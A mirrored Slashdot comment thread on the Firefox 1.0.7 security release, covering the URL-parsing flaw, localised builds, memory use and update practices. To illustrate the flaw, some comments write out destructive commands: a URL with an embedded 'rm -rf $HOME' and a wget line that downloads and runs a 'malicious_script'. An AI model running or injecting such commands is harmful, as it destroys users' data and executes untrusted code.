Slashdot Mirror


Firefox 1.0.7 Released

hackajar writes "Firefox 1.0.7 has been released today. From the announcement "Fixes are included for the international domain name (IDN) link buffer overflow vulnerability and the Linux command line URL parsing flaw. There are also other security and stability changes, including a fix for a crash experienced when using certain Proxy Auto-Config scripts. In addition, some regressions introduced by previous 1.0.x security updates have been resolved.""

83 of 366 comments (clear)

  1. More stable by buro9 · · Score: 4, Funny

    I've been running it for 3 minutes, and I must say... it's VERY stable. Probably more so than ever!

    (please understand this is a joke)

  2. Full release notes... by tcopeland · · Score: 5, Informative

    ...are here here.

    Also, from the Mozillazine article, looks like Portable Firefox has been updated as well.

    And I'm posting this with 1.0.7, good times...

  3. Some things, money can't buy ... by URSpider · · Score: 5, Funny

    Slashdot subscription: $10.00.

    Getting to download the next version of Firefox before the site gets Slashdotted: priceless !

    1. Re:Some things, money can't buy ... by Captain+Splendid · · Score: 3, Funny
      Actually it is funny (if a little old), and I probably would have wasted a +1 Funny on it if I'd had mod points today.

      Who pissed in your cornflakes this morning?

      --
      Linux, you magnificent bastard, I read the fucking manual!
    2. Re:Some things, money can't buy ... by MoogMan · · Score: 5, Funny

      I've heard there's a Korean mirror that you can use if the main site goes down...

    3. Re:Some things, money can't buy ... by That's+Unpossible! · · Score: 3, Funny

      Slashdot subscription: $0.00

      Getting to download the next version of Firefox because mozilla.org can withstand a slashdotting: $0.00

      Flaming a stupid use of an old joke: priceless!

      --
      Ironically, the word ironically is often used incorrectly.
  4. Quick to the point by timeToy · · Score: 5, Insightful

    That's perfectly fits with yesterday's news about Mozilla foundation being more reactive to security fixes than M$.

    1. Re:Quick to the point by rampant+mac · · Score: 2, Funny
      "...fits with yesterday's news about Mozilla foundation being more reactive to security fixes than M$."

      Which virus does this Mozilla release include?

      /rimshot - I keed, I keed

      --
      I like big butts and I cannot lie.
    2. Re:Quick to the point by shmlco · · Score: 2, Insightful
      I believe the actual story was about how Firefox was less secure. The spin on the story was that they're more reactive.

      BTW, the use of "spin" was deliberate. I've yet to see numbers for both sides that prove MF is more reactive than MS, even though it appears to be "common knowledge". IIRC, the last release (1.0.6) fixed bugs found in March.

      --
      Any sect, cult, or religion will legislate its creed into law if it acquires the political power to do so.
    3. Re:Quick to the point by jayloden · · Score: 2, Informative

      The "Extremely Critical" problem listed on Secunia is actually only a problem for a small percentage of users. (not to discount it, just pointing out that it's not for all users). In case anyone is interested, the problem is simply that the Firefox launching script that shipped with previous versions doesn't verify input. This means that it processes

      http://local`rm -rf $HOME1`host

      through the shell, which of course is bad. However, the key points here are
      a) It only affects the Linux/Unix platform
      b) It only affects the user Firefox runs as
      c) It only works if you are calling Firefox from an external application (i.e. clicking a link in a webpage won't do it), and that application has to do no checking of the arguments.

      For example, if I try to load the link above in KDE, the url is processed by KDE before it is passed on to the Firefox launch script, and gives me an error that the host does not exist rather than actually executing the command.

      In regards to the rest of your comment, it's silly to think that any development process is free of bugs. The idea behind with Open Source is simply that more people looking at the code means more people finding bugs. This may or may not be true. The point is, Open Source advocates don't claim OSS is free of bugs or security holes, just that it's a better model to find and patch bugs because you have an army of people looking at the code. In theory, you'd expect even MORE bugs to be found in OSS, but also for them to be patched faster.

      Vulnerabilities will still be found, and they will still exist - people make mistakes. You make assumptions and mistakes when you code, like assuming someone isn't going to pass in a link with `rm -rf $HOME` embedded in backticks. That will always happen, no matter what the software is, or who writes it, but what matters is how you can respond to it. I don't believe that either Microsoft or Mozilla is doing all that great in that sense. Mozilla may take a giant leap forward once binary patching is available for updates - we'll see. I'm not defending the Mozilla foundation or bashing Microsoft here, but I do take umbrage to the insinuation that finding bugs means Open Source is a bad development model.

  5. No translated version by zdzichu · · Score: 5, Insightful

    And yet again, users of localised build were left in the cold.
    Think about your grandpa, who doesn't know english. He can't use non-translated build and is left with vulnerable, older version.
    Good work, Firefox developers!

    --
    :wq
    1. Re:No translated version by slavemowgli · · Score: 4, Interesting

      FWIW, there's no updated version of the Mozilla Suite, either - anyone who's using that is, well, stuck. I know that the Mozilla people want everyone to use Firefox, but this kind of "we don't care" attitude is just as arrogant as Microsoft's.

      I'm seriously thinking about switching to Opera, myself. It's faster, it uses less memory, it's more standards-compliant, and now it's free, too - I honestly don't know what's keeping me, outside of laziness, maybe.

      I hope some of the Mozilla people (Asa etc.) read this and think about it. Do you hear me? This kind of attitude will not convince Seamonkey users to switch to Firefox, it will convince them to switch to something else entirely because you're making it clear that you don't give a shit about them! You have a big problem, and it will come back to bite you sooner or later, so you'd better start working on it - or at least acknowledge that it exists.

      --
      quidquid latine dictum sit altum videtur.
    2. Re:No translated version by nine-times · · Score: 4, Informative

      What about the Seamonkey Project?

    3. Re:No translated version by dveditz · · Score: 2, Informative
      FWIW, there's no updated version of the Mozilla Suite, either - anyone who's using that is, well, stuck.
      Of course we're updating the Suite as well. Here's the QA blog from a few days ago calling for testers http://weblogs.mozillazine.org/qa/archives/2005/09 /another_round_of_candidate_bui.html. Even with builds in-hand they can't all go up at once. Like it or not, getting the English Firefox builds up first helps the most people the fastest. The rest are following.
    4. Re:No translated version by Zerbey · · Score: 2, Insightful

      My (dearly departed) Grandad would have taken one look at Firefox, scoffed at the idea of even using a computer, let alone using one, and gone back to his gardening (which is was really good at). This is why I miss him so much.

  6. Re:And yet..... by op12 · · Score: 4, Informative

    Download it now if you're impatient, or wait a day or two for it to appear in the browser updates, as usual.

  7. Nasty bugs. by LurkerXXX · · Score: 4, Insightful

    The unix/linux bad-link problem allowing malicious URLs to run shell scripts is a bit nasty. Maybe Symantec wasn't entirely blowing smoke the other day with their warnings about Firefox not really being that much more secure than IE. The patches come out faster, but there sure are some nasty bugs in there yet.

    1. Re:Nasty bugs. by stlhawkeye · · Score: 5, Funny
      The unix/linux bad-link problem allowing malicious URLs to run shell scripts is a bit nasty.

      HA! I don't have your insecure Linux problems. I run Windows!

      --
      "I have never won a debate with an ignorant person." -Ali ibn Abi Talib
    2. Re:Nasty bugs. by LurkerXXX · · Score: 2, Insightful
      No, but that doesn't matter a bit.

      Anyone can reinstall an OS in an hour. What matters is people's DATA. You know, pictures, documents, etc, accumulated over years. Stuff all users should back up but most users don't. Those are all things that can be trashed when an exploit hits them even when they aren't running as root.

      The OS being intact is real nice for your geek pride, but but all the data files being trashed is a real loss to normal people.

    3. Re:Nasty bugs. by Zathrus · · Score: 4, Insightful

      Are you running Firefox as root?!?!

      `rm -rf ~`

      Because, of course, you wouldn't have anything valuable stored in your home directory, would you?

      Not to mention that root privledges are not required to do a lot of things... like, oh say:


      wget ftp://somesite/malicious_script && chmod +x malicious_script && ./malicious_script


      What does malicious script do? Anything it wants -- including downloading and running root kits (after figuring out exactly which ones you are vulnerable to), sending out massive spam attacks, installing a user-level trojan that allows for remote controlled DDoS, etc.

      I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.

    4. Re:Nasty bugs. by miffo.swe · · Score: 4, Insightful

      The problem isnt in Firefox itself but rather in the script used to launch firefox from other applications. It demands launching a command from another application under your control going through bash. You cant be subjected to this by browsing around on the net for example. It demands user intervention to function. While i admit its a flaw its in no way as critical as some purports it to be. A similar flaw in Internet Explorer gets a minor threat rating.

      There really needs to be some standard for rating security holes.

      I mean, if this is rated very critical what the heck do you call a remote exploit? Very,very,very critical or what? Secunia, rated 7/5?

      There seems to be a FUD campaign against Firefox. Why the heck would Symantec care about Firefox when they havent once to my knowledge critiziced Internet Explorer even when it had a critical patch coming out pretty much every day.

      --
      HTTP/1.1 400
    5. Re:Nasty bugs. by pyrrhonist · · Score: 2, Funny
      Who modded this Troll? (S)he certainly has no sense of humour whatsoever. ROFLOL!

      You don't really need the "S".

      Now, I know what you're thinking. You're thinking I'm going reuse the tired meme of, "there are no women on Slashdot".

      However, you'd be wrong...

      It's actually because all the female moderators have a wonderful sense of humor.

      They're also all worldly, erudite, perspicacious, compassionate, shockingly beautiful, and, "really have it together".

      (+1, Insightful?)

      --
      Show me on the doll where his noodly appendage touched you.
    6. Re:Nasty bugs. by 14erCleaner · · Score: 5, Insightful
      There seems to be a FUD campaign against Firefox. Why the heck would Symantec care about Firefox when they havent once to my knowledge critiziced Internet Explorer even when it had a critical patch coming out pretty much every day.

      Symantec sells security software that covers up Microsoft vulnerabilities.

      If everybody stopped using IE and Outlook, half of their business might go away.

      --
      Have you read my blog lately?
  8. Colour me confused... by bad_outlook · · Score: 3, Insightful

    Ok, I'm a geek and all, but this week I just installed 1.5 Beta 1 - so is it now vuln to this, whereas 1.0.7 is not? I understand branches, tags and such, but after awhile this could really confuse joe_user. Is anyone trying out the new Opera since it's now free? I've only tried the Win version, but darnit, it's very nice. Tonight I'll try it on Unbuntu, after updating FF to 1.0.7 of course (I don't run dev software at home, else I"ll hear about it crashing from my wife! ;))

    1. Re:Colour me confused... by Winckle · · Score: 3, Insightful

      I very much doubt Joe Sixpack would be using a beta build of firefox

  9. Memory leak issue fixed? by akulbe · · Score: 5, Informative

    I've tried to hammer 1.0.7 and see if I could reproduce the same crashes that happened in 1.0.6 and this issue *seems* to be fixed. Also, upgraded to (ewww!) Flash Player 8. Seems to be an improvement as well. (I say this because the previous issue usually happened on sites with Flash)

  10. Re:blah blah bugs blah blah security by cerelib · · Score: 2, Insightful

    Not to take either side on this I have to disagree with your the relavance of your argument. The web has changed drastically since IE was first made.

  11. localised builds by kamikazejay · · Score: 5, Interesting

    The british latest is still 1.0.6.
    I can't understand why bugfixes, which wont change any of the text shown to the user (other than perhaps the version number), cannot be released for all locals at the same time.

    1. Re:localised builds by gordgekko · · Score: 4, Funny

      Because you Brits insist on speaking English. When 1.0.7 is converted to English from American, you'll get your new localized version!

      --
      You want to know who isn't running Firefox 2.x? They spell it "definately" and "rediculous".
    2. Re:localised builds by Draknek · · Score: 2, Interesting

      I'm British, but I've never bothered getting the en_GB version.

      What are the differences?

      Why should anyone bother?

      --
      Self-referential sigs do not a humourous poster make.
    3. Re:localised builds by dkh2 · · Score: 4, Funny

      Try looking for the 'English' version instead. Along that line ... they don't have a separate 'American' version.

      Back in the day... John Clease was one of Jay Leno's guests during the Clinton/Lewinsky scandal. He described 3 differences between Americans and the British.
      1) We (the British) speak English.
      2) When we hold a world championship sporting event we invite teams from other countries.
      3) When we meet our head of state we only go down on ONE knee.

      --
      My office has been taken over by iPod people.
    4. Re:localised builds by Bananenrepublik · · Score: 5, Funny

      Because you Brits insist on speaking English. When 1.0.7 is converted to English from American, you'll get your new localized version!

      That would be localised then.

    5. Re:localised builds by Haeleth · · Score: 4, Funny

      At a guess, the English version doesn't have all those nasty spelling mistakes like "Fonts & Colors (sic)" which the careless American maintainers still haven't got round to fixing.

      It's possible that it also replaces outlandish words like "cookies" with more familiar terms like "biscuits".

    6. Re:localised builds by SEE · · Score: 2, Funny

      I'd be happy to use 'z' more widely if, in return, Americans would agree to spell 'colour' correctly.

      We can't; we don't have the extra vowels. Unlike the British Empire, we didn't participate in imperialist vowel-looting of Balkan places like Krk and Vrbnik in the 19th Century.

  12. One Fast Download! by SmartyFartBlast · · Score: 2, Insightful

    wow, amazing what speeds I saw on that, over 1mbit which is pretty nice. Sure its not a super large file, but nice to see good speed when the server hasnt been /.'d

    Now I wonder if my extensions will crash or act buggy...ah, well....the price was right ;-)

  13. something concerns me by Dink+Paisy · · Score: 5, Insightful
    "In addition, some regressions introduced by previous 1.0.x security updates have been resolved."

    Too many regressions caused by security updates, and people will turn off auto-update. That's the very reason that Microsoft moved to a monthly update cycle. Getting updates out quickly is important, but unless the security hole is being actively exploited, it's probably more important to make sure nothing else gets broken by the fix. If you convince people not to install updates, then you're in really big trouble.

    --

    Whoever corrects a mocker invites insult;
    whoever rebukes a wicked man incurs abuse.
    --Proverbs 9:7
    1. Re:something concerns me by amdotaku · · Score: 5, Insightful

      Indeed, this is the dark side to Firefox, its stand alone update cycle. Its not friendly to extension developers, confuses and annoys users and administrators, and worse of all makes the whole Distribution based system the rest of FOSS uses go to pot.(Some people just want to run a version that comes with the distro without constant worrying and compatibility issues.) I think Firefox's special position at the head of the FOSS movement has made them focused too much on runing their own tight ship and not enough about letting their users do the same.

  14. Great! by setzman · · Score: 4, Insightful

    Now will it stop using anywheres from 73,788 K to 253,000 K RAM? I thought Firefox was supposed to be small and efficient, but that's the ram usage reported by Task Manager.

    --
    C:\>
    1. Re:Great! by jimmy_dean · · Score: 2

      Web pages take a lot of room in memory to store. This is due to web pages being full of images and other large binary data. This is just a fact of life and is not really anything unique to FireFox.

      --
      -> Sometimes, you just gotta break free from the shackles of proprietary code.
    2. Re:Great! by Malc · · Score: 2, Informative

      1) Web pages don't take tens or hundreds of MB
      2) Other browsers such as IE don't have this problem

      Do any of the devs run tools like BoundsChecker over their code?

    3. Re:Great! by keithoc · · Score: 5, Informative

      I got this all the time too - apparently this isn't a Firefox problem but instead a memory leak in the Flash plugin.

      See here for workaround: http://fusion94.org/archives/2005/07/firefox_memor y.html

    4. Re:Great! by The+Bungi · · Score: 2, Interesting
      Yay, Microsoft and Opera must have invented a really kewl propietary compression scheme because, well, IE and Opera 8 both use about 1/10th the memory Firefox does.

      Apologetic fanboy.

    5. Re:Great! by ergo98 · · Score: 2, Insightful

      I got this all the time too - apparently this isn't a Firefox problem but instead a memory leak in the Flash plugin.

      I read the blog and it doesn't seem convincing - there is a bit of a comment about Flash being the culprit, but then he/she segues to limiting the use of memory for caching.

      Of course countless expanding memory caches have been misidentified as "leaks" over the years - SQL Server, for instance, will gobble up all available memory to use as a data cache, but it does it slowly as it pulls in data (just like Firefox does as you browses the web), utilizing memory as a much faster way of accessing data. As such there have been endless claims of SQL Server's "memory leak", and how people "solved" it by setting the governor limiting how much memory SQL Server will consume (all so they can sit and admire the high amount of unutilized available memory on their boxen). It should be noted that SQL Server relinquishes memory as other applications start asking for it (dunno if Firefox does the same).

      I suspect the Firefox "fix" is much the same.

    6. Re:Great! by M1000 · · Score: 2, Informative

      No this is not a "fact" of life. The problem here is that when the page is GONE, the memory is not released. If I open a big graphic file, and then close the tab, I expect to see the memory released, not LOST.

      My god, this post is as useless as your comment...

  15. Re:An update problem... by Secrity · · Score: 2, Interesting

    That is not a problem, it is a feature that has already been explained in this article. Hint: try going to http://download.mozilla.org/?product=firefox-1.0.7 &os=win&lang=en-US

  16. Middle-click on OSX? by xjerky · · Score: 5, Interesting

    Will middle-clicking to oplen a link in a new tab
    ever show up in an official release for OSX? It's really retarded that I must rely on nightly betas in order to use this simple feature, in which case I can't use most of the plugins that made Firefox attractive to me in the first place. Very frustrating.

    --
    A sentence you'll never see on an Internet discussion board: "You know what? You're right."
    1. Re:Middle-click on OSX? by xjerky · · Score: 2, Funny

      Great - but that requires the use of 2 hands, whereas Firefox users on every other platform only needs one.

      (no masturbation jokes please)

      --
      A sentence you'll never see on an Internet discussion board: "You know what? You're right."
  17. broke extensions by bdigit · · Score: 2

    and now after the upgrade none of my extensions work. They are there but none of them are active.

  18. Re:I'm confused by savala · · Score: 5, Informative
    Can someone please explain to me the difference between the firefox nightly downloads, Mozilla 1.8, Aviary 1.0.1 & the trunk versions?
    Okay, at the heart of it all is the trunk. This is where active development goes on. And even though there is no longer a stand-alone product being developed as "Mozilla", the trunk is currently working its way up to Mozilla 1.9, numbering back incrementally all the way to 0.6 (at the time of Netscape 6).
    From the trunk, every so often (less frequently in the last two years) branches are cut. These branches are the 1.x branches, and from them the stable releases are created. Currently we have the 1.7 branch as the long-lived stable-branch (MoFo is committed to keeping its builds from this branch updated with security fixes for a while yet, while not changing its functionality). Mozilla 1.7.11 and this release, Firefox 1.0.7, are made from this branch. Also expect upcoming Thunderbird 1.0.7 and Mozilla 1.7.12 releases.
    The Aviary 1.0 branch is basically the same as the Mozilla 1.7 branch, but is referred to specifically when talking about Firefox and Thunderbird. (It's more a CVS branch tag than something you should know about.)
    Then, only recently, the 1.8 branch was created. A number of must-fix bugs still present on this branch have been identified, and these are currently being worked on. Once that's all done, Firefox 1.5, Thunderbird 1.5 and SeaMonkey 1.0 (the successor to the Mozilla application suite) will be released from it.
    Deer Park 1.5 Beta 1 and SeaMonkey 1.0 Alpha were releases from this newly formed 1.8 branch, to show what is being worked toward.

    It's likely that version numbers of all products/projects will converge at 2.0 in 1-2 years - although this might come after Mozilla 1.7.11 or thereabouts, depending on the necessary functionality specified for Mozilla/Gecko 2.0 (so based on what the backend needs, not frontend functionality).
    Of course, it's just as likely that this won't happen. I'd bet MoFo itself doesn't know yet. They're not all that good at planning ahead. :)
  19. Bad Ads by Dalroth · · Score: 5, Interesting

    I've had a problem with Firefox lately (starting around build 1.04, which may just be coincidental with a new malevolent popup technique being invented) on both my Windows and OSX boxes. Specifically, there are certain ads that cause Firefox to crash hard, and they aren't just bad ads from porn sites. I've occasionally gotten them on Blues News and NY Times for example.

    In some cases, I'm lucky to get an exception and can restart Firefox. However, in most cases, the application freezes. On OSX, I get the swirling beach ball of death and have to manually force quit Firefox. On windows, I can usually close Firefox, but only the main window closes. I still have to manually kill the process before I can start a new instance.

    Since then, I've moved on to 1.5 alpha and it while I don't believe I am currently experiencing those problems, 1.5 alpha has a whole new set of problems all its own.

    My question is... have these ad related crashes been fixed (or am I the only experiencing them)? I'd like us to the most stable version possible, but when 1.5 alpha is better than the 1.0x builds, I'm left wondering what went wrong...

    If this isn't resolved soon, I just might have to give AdBlock another shot. I'm trying to be a good netizen, but when you're ads kill my browser, you leave me with little choice!

    Bryan

    1. Re:Bad Ads by akulbe · · Score: 2, Informative

      I'm using 1.0.7 on OS X, and as I commented previous, I think the issues I had are fixed. (at least from what I can tell so far) I had the same issues as you describe. All my attempts to reproduce the swirling beach ball of death are unsuccessful, thankfully.

  20. Re:And yet..... by gordgekko · · Score: 3, Funny

    As usual means you wait up to two weeks before an arrow shows up or if you decide to manually check for updates under Tools>Options>Advanced>Software Updates.

    I like Firefox but being forced to wait days -- or longer -- for a security update is utterly pathetic. If I wanted a browser with known exploits that I can't patch I'd use IE.

    --
    You want to know who isn't running Firefox 2.x? They spell it "definately" and "rediculous".
  21. The M$ Take by IorDMUX · · Score: 2, Insightful

    Ah. Mozilla has lept upon more discovered holes and promptly fixed them.

    And somehow, these fixes make the browser all the less secure in the eyes of the big guys.

    --
    >> Standing on head makes smile of frown, but rest of face also upside down.
  22. Re:And yet..... by gordgekko · · Score: 4, Interesting
    And that's a great option...if I know there is a new version of Firefox. I may know because I frequent /. but Joe, Jane and Aunt Millie may be left unprotected for weeks because they don't keep up with security bulletins or this web site because they have lives.

    That's simply unacceptable. Whether the reason is good or bad, and I'm understanding of the bandwidth issue and the costs associated, we're leaving potentially millions of machines open to exploit. Hardly a claim to a more secure future.

    I can't wait until 1.5 goes live and we can ditch this stupid unmodular system that we've been 'graced' with.

    --
    You want to know who isn't running Firefox 2.x? They spell it "definately" and "rediculous".
  23. 750MB? by YesIAmAScript · · Score: 2, Informative

    So you're saying that Firefox is string 750MB of data it got off the web?

    Well, let's see, my DSL is quite fast, it is 6mbits/second actually (lucky me). That means that Firefox is storing the equivalent of 1,000 seconds or about 20 minutes of continuous downloading. For other people it could be easily double that.

    Why doesn't that seem entirely correct to me? I'd know if I sat through 20 minutes total downloading.

    BTW, IE doesn't soak up as much RAM, and it's pretty damn fast.

    Firefox probably needs to look at more memory-efficient caching.

    --
    http://lkml.org/lkml/2005/8/20/95
  24. Firefox annoyances by Henry+V+.009 · · Score: 4, Interesting
    • Trying to install from a Limited Account in Windows brings up a dialog "highly recommended that you install as Administrator."
    • There is no longer a way to disable the Quality Feedback Agent under custom install.
    • Firefox Update is small and non-obvious. Windows really lets me know when there is a patch for IE out. I can trust IE to keep itself patched on Grandma's system -- but not Firefox.
    1. Re:Firefox annoyances by Anonymous Coward · · Score: 2, Informative
      There is no longer a way to disable the Quality Feedback Agent under custom install.
      Uninstall the old version first, or install to a new directory. An upgrade will upgrade all the components that are installed (plus give you the option to install new ones).
      That said - yes, the firefox installer sucks donkey balls.
      Firefox Update is small and non-obvious. Windows really lets me know when there is a patch for IE out. I can trust IE to keep itself patched on Grandma's system -- but not Firefox.
      This has been an area that has received a lot of attention, and you should have no complaints about it anymore come 1.5
  25. Unless? by Spy+der+Mann · · Score: 5, Interesting

    but unless the security hole is being actively exploited, it's probably more important to make sure nothing else gets broken by the fix.

    Enter the paradox: If the fix isn't released until a month, the security hole CAN and WILL be actively exploited.

    In other words, is it worth to replace a critical bug (security) with a minor bug (annoyance)?

    1. Re:Unless? by Anonymous Coward · · Score: 2, Insightful

      In other words, is it worth to replace a critical bug (security) with a minor bug (annoyance)?
       
      If you value security over convenience, yes. Unfortunately, most people don't.

  26. Re:Sex sells by Isomorph · · Score: 2, Funny

    Year your are dreaming, but the girls are cute.

  27. download mirrors are here by Anonymous Coward · · Score: 2, Informative
  28. HP-UX Port by lp_bugman · · Score: 2, Interesting

    I been searching everywere for a HP-UX port. What I don't understand is that mozilla has builds for OS2 but not for HP-UX. I don't know you guys but I think HP-UX has way more active users than OS2.
    I know there is a "official" HP mozilla build. But I like more firefox (slimer and faster). Specialy because my desktop is not that fast (PA8500 400mhz).

    --
    BSD licensed software can't be stolen....
  29. I think I'll wait a week or so by raitchison · · Score: 3, Funny

    For Firefox 1.0.8 to be released

  30. bummer by bringmewater · · Score: 2

    a new feature would have been nice

  31. Just because MSFT's reorging today by WillAffleckUW · · Score: 2, Funny

    doesn't give Firefox the right to fix bugs while the Microsofties are distracted and obvlivious ...

    --
    -- Tigger warning: This post may contain tiggers! --
  32. Re:More stable-Marketing. by eno2001 · · Score: 4, Funny

    If you think it was stable before, you ain't seen NOTHIN' yet! Now it's also barn and silo!!!

    --
    -"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
  33. Re:Bad Ads (try this first) by gosand · · Score: 3, Interesting
    I've had a problem with Firefox lately (starting around build 1.04, which may just be coincidental with a new malevolent popup technique being invented) on both my Windows and OSX boxes. Specifically, there are certain ads that cause Firefox to crash hard, and they aren't just bad ads from porn sites. I've occasionally gotten them on Blues News and NY Times for example...... If this isn't resolved soon, I just might have to give AdBlock another shot. I'm trying to be a good netizen, but when you're ads kill my browser, you leave me with little choice!


    I noticed some of these too. Quite annoying. Instead of using Adblock or something similar, first try downloading a good hosts file for blocking ads. Info and links

    --

    My beliefs do not require that you agree with them.

  34. Package Management by Al+Dimond · · Score: 2, Interesting

    This Firefox release is an opportunity for me to ask a question I've been thinking a lot about lately: on GNU/Linux, is the web browser a package that's better handled outside of the context of the distribution's package manager? I'm running Gentoo right now, and I love Portage, but there will at least be some delay between the Firefox release and a new ebuild being available. And in order to emerge this new release I'd need to sync my Portage tree again, which I don't have any other particular need to do right now (once or twice emerge sync has caused me problems, usually because it causes me to subsequently update some package that I originally emerged with USE flags set that I neglected to add to my make.conf).

    Anyhow, the basic idea is that Firefox is a package that has to be updated at specific times, and I know when those times are, and they aren't necessarily times that my system as a whole needs to be updated.

    There are few other packages that depend on Firefox; all I can really think of are plugins and extensions. Plugins don't typically require a specific FF version, and I get my extensions centrally from mozdev. So can you guys think of anything I'd lose by unmerging FF from Portage, installing a stub in its place, and just using the official builds from mozilla.org? Besides the potential optimization? (I would say integration and consistency with the overall system in terms of file placement and stuff, but... that doesn't seem to happen anyway. It's not an easy thing to fit a huge X application into Unix directory conventions based on the concept of many small programs doing one thing well...)

    The main other package to which I'd apply this type of thinking is OOo. I wouldn't apply it to KDE or Gnome (though I don't directly use either) because they contain many useful libraries, and I feel that the handling of libraries is a real strength of package management systems. Can you guys think of any other packages that might not be best handled by package management?

  35. Re:Don't use your distro tools to install it... by MikeFM · · Score: 5, Informative

    That's not such a good idea in general. Installs from the distro are tested and signed (pretty sure not to be infected with viruses) whereas Firefox's update system assumes behavior of crappy OS like Windows that doesn't auto-update all programs as needed. Auto-update is a good idea but they should strive to work with existing update infrastructures when those exist. There is to much conflict between apt/yum/rug/whatever and Firefox's own update system and it does cause bugs and odd behavior sometimes. That doesn't make it a good idea to abandon the update infrastructure provided by your distro. :)

    On the other hand I think distros need to recognize the need of users to install software at the user-level and make their packages and package mgmt system work better for that. As it is they tend to make it difficult to install packages just for a single user.

    --
    At what price learning? At what cost wisdom? The price is a man's peace of mind, and the cost is his life.
  36. Re:Don't use your distro tools to install it... by cloudmaster · · Score: 2, Informative

    It doesn't matter what groups you are in (or who owns the directory). Barring things like a suid firefox (which is a sign that someone needs to learn more about how *nix works) and sudo (which is a sign that someone might need to learn more about how *nix works), it runs as the user who launched it.

  37. Re:Don't use your distro tools to install it... by passthecrackpipe · · Score: 5, Insightful

    Heh, a list of many complex actions involving different user ID's, directories and other computer "magic" as seen from a users perspective, followed by:

    "The install was as easy as anything packaged by Vise or InstallShield"

    Can you please pass some of that crack you seem to be smoking? I'm a big linux fan, but installing anything, not in the least a user install from firefox, does not compare with the "double click setup.exe" from vise or installshield.

    And before all the fanboys knee-jerk with the security/spyware/virus/whatever-my-linux-kung-fu-i s-so-cool-i-kick-your-ass stuff - I know, i use linux and firefox. but that still doesn't make it an easy install. The distro install, incidentally, is pretty easy though, so just wait for the vendor updates mmmkay?

    --
    People who think they know everything are a great annoyance to those of us who do.
  38. Re:Don't use your distro tools to install it... by amdotaku · · Score: 2, Interesting

    I see your point, but using stand alone package installers and the like defeats the main purpose of the distribution system over just a plain old bacon and eggs OS like Windows. This is supposed to make the distro system easier to deploy mainly by administrators, but reducing the level of case-by-case support they have to dish out. For the home user, such solutions may work more easily, but it still defeats the whole point of a distro. For example, if a similar update attitude was suddenly adopted by all the dozens of projects used in the modern distro, one can clearly see how soon it would be before the whole thing would just fall apart.

  39. Re:Will this fix the "always a flashing cursor " b by bf21195 · · Score: 2, Informative

    Check your 'about:config' to make sure the 'accessibility.browsewithcaret' setting is set to 'false'

  40. Different approaches. by khasim · · Score: 4, Interesting
    Any data kept in your home directories SHOULD be backed up by the sysadmin.

    The worst that should ever happen is that you lose any new data (from this morning until now).

    The really important data is usually kept inside databases that the user does not have rights to delete.

    Wiping out your home directory is only "annoying" (unless you have an important meeting in a few minutes).

    Infecting the system is "BAD" because then EVERYONE's data is vulnerable AND you cannot trust last night's backups. You must go back and find out when you were infected and, in some cases, recreate ALL of the data that was in those databases since that point.

    Sure, the user might be pissed that his spreadsheet was deleted by the "cool screensaver" that he just tried to download AND he has a meeting with the division president in the next 15 minutes ........

    but that don't mean jack when the CFO notices that none of the numbers match for the last 3 months anymore.
    I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.
    It's not a "miracle cure" but it does protect the most important information the company has.

    Ideally, the user's home directories will be set to non-execute so that crap they download won't destroy their data.

    Even with both of those in place, I still get people who DELETE THEIR OWN FILES and need them restored from the night before.

    Security is all about IDENTIFYING the risks and REDUCING them.

    I can reduce the risks of everything else to a point below that of regular human stupidity. But nothing will ever save you from that.
  41. Re:1.0.7? by GreatBunzinni · · Score: 2, Interesting
    I'll keep using 1.5 beta 1, thank you.

    As it curently is, Firefox 1.5 beta isn't for everyone. I installed it an ran it when it was launched and I simply can't use it. It just segfaults at startup without warning what caused it.

    I don't know if this problem is frequent or if there is a fix for it but at least that little showstopper made it impossible for me to try 1.5.

    --
    Slashdot, fix your code or at least hire someone who is competent at it to do it for you.
  42. Re:Don't use your distro tools to install it... by Hank+the+Lion · · Score: 3, Informative

    Now I have a version of Firefox that runs as me instead of running as root, which I'm sure is a lot more secure than the way I had it last time.
    I don't think so.
    Normally, you install as root, and run as user.
    This means, that, as a user, you cannot damage your installation.
    Now, you run as the same user that installed it.
    This means that you can damage the installation as well.

  43. Mod parent +25. by khasim · · Score: 3, Insightful

    It seems that certain organizations are trying to hype every vulnerability that can be associated with FireFox. From my point of view they'd be ranked like this:

    #1. Remote root access that does NOT require human intervention or other app running.

    #2. Remote non-root access that does NOT require human intervention or other app running.

    #3. Local root access that does NOT require human intervention or other app running.

    #4. Local non-root access that does NOT require human intervention or other app running.

    #5. Local root access that requires some human interaction or some combination of apps.

    #6. Local non-root access that requires some human interaction or some combination of apps (this is where this exploit is)

    #7. Remote OS crash

    #8. Remote app crash

    #9. Local OS crash

    #10. Local app crash

    This is MY opinion. Get your own opinion. There is no way this exploit is "critical". It's one step above a stupid DoS attack and would NOT affect ANY of my servers.

  44. Re:Don't use your distro tools to install it... by gbjbaanb · · Score: 2, Funny

    Then, as me, I set up a directory called Firefox107. I made a directory under that one called Firefox as the installation area for the install of Firefox 1.0.7. I then downloaded the Linux installer for 1.0.7 directly from mozilla.org. I untarred/gunzipped the installer into the Firefox107 directory. It made a firefox-installer directory under Firefox107 where I then clicked the firefox-installer script to start the install process. Again, I installed as me, not as root.

    I don't know about you, but I clicked 'download now', then double-clicked 'Firefox Setup 1.0.7.exe', then I had a lie down, the effort required was just that bit too much for me. Bring on the auto-update, that's what I say!

  45. Re:Don't use your distro tools to install it... by c0d3h4x0r · · Score: 5, Interesting

    Someone seriously needs to mod the parent UP. This is a very insightful observation about one of the fundamental, systemic problems with desktop OSes (Linux-based and otherwise).

    The fact that it is possible for an application to be installed by any mechanism other than the official method provided by the desktop/OS, thus straying from all standard conventions defined by the desktop/OS, means it's too easy for users to screw up and break things. The fact that an application must come with its own installation executable just illustrates how the desktop/OS is failing to provide the services the application developers need.

    The desktop/OS should require a software package to provide a data-based manifest of installation actions it needs (generally similar to Microsoft's MSI/Windows Installer technology, but without the notion of Custom Actions), and the desktop/OS should execute the installation. And that should be the ONLY way for anything to get installed onto the system (unlike the architecture of Windows, where standalone installers such as InstallShield can still bypass the central MSI/Windows Installer way of doing things).

    --
